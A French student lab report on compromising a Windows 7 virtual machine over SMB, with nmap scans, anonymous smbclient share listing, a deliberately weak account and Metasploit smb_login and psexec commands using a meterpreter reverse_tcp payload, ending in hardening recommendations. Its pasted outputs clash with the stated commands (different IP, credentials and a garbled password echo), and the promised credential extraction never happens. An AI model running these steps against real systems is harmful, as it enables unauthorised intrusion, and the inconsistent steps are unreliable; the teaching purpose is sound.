

COMPTE RENDU DE TP CYBERSECURITE

TP 3.2 — Attaque d'un système Windows et extraction d'identifiants

Introduction

Dans ce travail pratique, nous mettons en œuvre un scénario fréquemment rencontré en environnement professionnel : un individu disposant déjà d'un accès au réseau interne tente de compromettre un poste Windows afin d'obtenir des données sensibles. L'objectif principal est d'analyser de manière concrète comment un système Windows peut être vulnérable, non pas uniquement à cause de failles techniques avancées mais aussi en raison de mauvaises configurations de services exposés.

À l'issue de ce TP, l'étudiant doit être capable de :

- Repérer les services accessibles sur une machine Windows à l'aide d'un outil de scan réseau
- Collecter certaines informations système via les protocoles réseau disponibles
- Evaluer la robustesse d'identifiants fiables dans un cadre contrôlé
- Observer les mécanismes liés au stockage sécurisé des mots de passe

Ce TP s'inscrit dans le cadre du scénario NetSecure. Deux machines virtuelles sont utilisées:

- Machine attaquante : Kali Linux — adresse IP 192.168.56.30
- Machine cible : Windows (poste utilisateur) — adresse IP 192.168.56.20

La machine cible représente un cas réaliste d'entreprise avec plusieurs services actifs et une configuration volontairement imparfaite. Le service SMB (port 445), souvent utilisé pour le partage de fichiers et d'imprimantes y est notamment accessible, ce qui constitue une surface d'exposition courante dans de nombreux environnements professionnels.

1. Identification des services Windows exposés

Pour comprendre comment interagir avec la machine Windows, nous devons identifier les services accessibles. On exécute une analyse SYN scan avec Nmap : `nmap -sS 192.168.56.20`

Lorsque le scan se termine, on observe la présence de ports caractéristiques de Windows, notamment le port 445. Ce port correspond au protocole SMB (Server Message Block), utilisé pour le partage de fichiers en réseau. Le fait qu'il soit ouvert signifie que la machine accepte des connexions à distance pour l'accès aux ressources partagées.

```
sarahyoukoudjio@sarah: ~
sudo: docker: command not found

(sarahyoukoudjio@sarah)-[~]
$ sudo nmap -sS 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 14:16 CEST
Nmap scan report for 192.168.56.20
Host is up (0.00048s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown
MAC Address: 08:00:27:59:08:53 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds

(sarahyoukoudjio@sarah)-[~]
$
```

2. Récupération d'informations système sans authentification

Maintenant qu'un service actif est identifié, on cherche à en extraire des informations sans disposer d'identifiants. Cette phase correspond à ce qu'un attaquant réalise systématiquement avant toute tentative d'intrusion. On exécute le script Nmap SMB OS Discovery :

```
nmap -p 445 --script smb-os-discovery 192.168.56.20
```

Cette commande interroge le service SMB afin d'obtenir des informations sur le système. Le résultat fournit généralement le nom de la machine, la version de Windows et le groupe de travail. Ces informations permettent à un attaquant de mieux comprendre l'environnement et d'adapter ses actions.

```
(sarahyoukoudjio@ sarah)-[~]
$ nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-20 14:21 CEST
Nmap scan report for 192.168.56.20
Host is up (0.00069s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: windows7
|   NetBIOS computer name: WINDOWS7\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-04-20T13:21:08+01:00

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

(sarahyoukoudjio@ sarah)-[~]
$
```

4. Découverte des partages réseau

○ Liste des partages disponibles

Une fois les informations système obtenues, on vérifie si des ressources sont accessibles sur la machine sans authentification. On utilise smbclient pour lister les partages disponibles :

```
smbclient -L //192.168.56.20 -N
```

L'option -N indique qu'aucun mot de passe n'est fourni. Si la configuration SMB est faible, Certains partages apparaissent accessibles. Cela signifie qu'un utilisateur non authentifié peut potentiellement accéder à des fichiers internes.

```
(sarahyoukoudjio@ sarah)-[~]
$ smbclient -L //192.168.56.20 -N

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Administration à distance
      C$              Disk      Partage par défaut
      IPC$            IPC       IPC distant
      partage         Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(sarahyoukoudjio@ sarah)-[~]
$
```

○ Accès à un partage et récupération de fichiers

Pour accéder à un partage listé, on exécute :

```
smbclient //192.168.56.20/nom_du_partage -N
```

Une fois connecté, on liste les fichiers disponibles : `ls`

Si des fichiers sont visibles, on peut en télécharger un avec : `get nom_du_fichier`

Ici, on comprend qu'un simple accès SMB mal configuré peut entraîner une fuite d'informations sensibles, ce qui est une situation très fréquente en entreprise.

5. Simulation d'un cas réaliste — identifiants faibles

- **Création d'un compte vulnérable sur Windows**

Dans de nombreuses attaques réelles, l'attaquant ne passe pas par une vulnérabilité technique, mais exploite des identifiants faibles ou réutilisés. Pour reproduire ce scénario, on crée volontairement un compte vulnérable sur la machine Windows.

Sur la machine Windows, ouvrir PowerShell en tant qu'administrateur et exécuter : `net user nono 1234 /add`

6. Test de connexion avec Metasploit

- **Vérification des identifiants via SMB Login**

Depuis Kali, on lance Metasploit : `msfconsole`

Une fois l'interface chargée, on configure le module de test d'authentification SMB :

```
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.56.20

set SMBUser nono set SMBPass 123 run
```

Si la configuration est correcte, Metasploit confirme que l'authentification a réussi. Cela montre qu'un attaquant disposant d'identifiants valides peut se connecter à la machine sans difficulté.

```
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.46.20
RHOSTS => 192.168.46.20
msf6 exploit(windows/smb/psexec) > set SMBUser testuser
SMBUser => testuser
msf6 exploit(windows/smb/psexec) > set SMBPass password123!
SMBPass => password123!23!
msf6 exploit(windows/smb/psexec) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 192.168.46.20:445 - Connecting to the server...
[-] 192.168.46.20:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.46.20:445) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > |
```

7. Ouverture d'une session distante sur Windows

- **Exploitation via psexec**

Maintenant que les identifiants sont validés, on tente d'ouvrir une session sur la machine cible.

Toujours dans Metasploit, on exécute :

```
use exploit/windows/smb/psexec
set RHOSTS 192.168.56.20

set SMBUser nono set
SMBPass 123

run
```

```
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.46.20
RHOSTS => 192.168.46.20
msf6 exploit(windows/smb/psexec) > set SMBUser testuser
SMBUser => testuser
msf6 exploit(windows/smb/psexec) > set SMBPass password123!
SMBPass => password123!
msf6 exploit(windows/smb/psexec) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 192.168.46.20:445 - Connecting to the server...
[-] 192.168.46.20:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.46.20:445) was unreachable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > █
```

Comme on peut le voir sur cette figure, aucune session ne s'est ouverte ce qui signifie que si nous ne disposons pas des identifiants du compte admin nous ne pourrions pas nous ne pouvons pas ouvrir de session.

- **Note sur Meterpreter**

Meterpreter est une charge utile (payload) particulièrement avancée permettant de simplifier la phase de post-exploitation grâce à la mise à disposition d'un Shell interactif. Ce payload, entièrement exécuté en mémoire, intègre de nombreuses fonctionnalités et permet également d'étendre ces dernières grâce à une API Ruby. et comme on peut le constater il est difficile de l'utiliser sur un compte n'ayant pas de haut privilège sur Windows.

8. Compréhension globale de l'attaque

Ce qui vient d'être réalisé suit une logique très proche des attaques réelles en entreprise. D'abord, on observe la machine depuis le réseau, puis on identifie un service accessible (SMB). On exploite ensuite une faiblesse humaine (mot de passe faible) pour obtenir un accès, avant d'utiliser cet accès pour récupérer des informations sensibles.

9. Recommandations de sécurité

- Interdire les connexions SMB anonymes via les stratégies de groupe (GPO) ;
- Appliquer une politique de mots de passe stricte (longueur min. 12 caractères, complexité obligatoire) ;
- Segmenter le réseau pour isoler les postes utilisateurs des serveurs critiques ;

- Mettre à jour régulièrement Windows pour corriger les vulnérabilités SMB connues (ex. MS17010). Conclusion

Ce TP a démontré comment une machine Windows peut être compromise en quelques étapes, sans exploiter de vulnérabilité technique avancée, uniquement en s'appuyant sur une mauvaise configuration SMB et un mot de passe faible. L'ensemble des phases, reconnaissance, identification de service, exploitation des identifiants, ouverture de session, extraction d'informations, constitue un scénario d'attaque réaliste et représentatif des menaces actuelles en entreprise.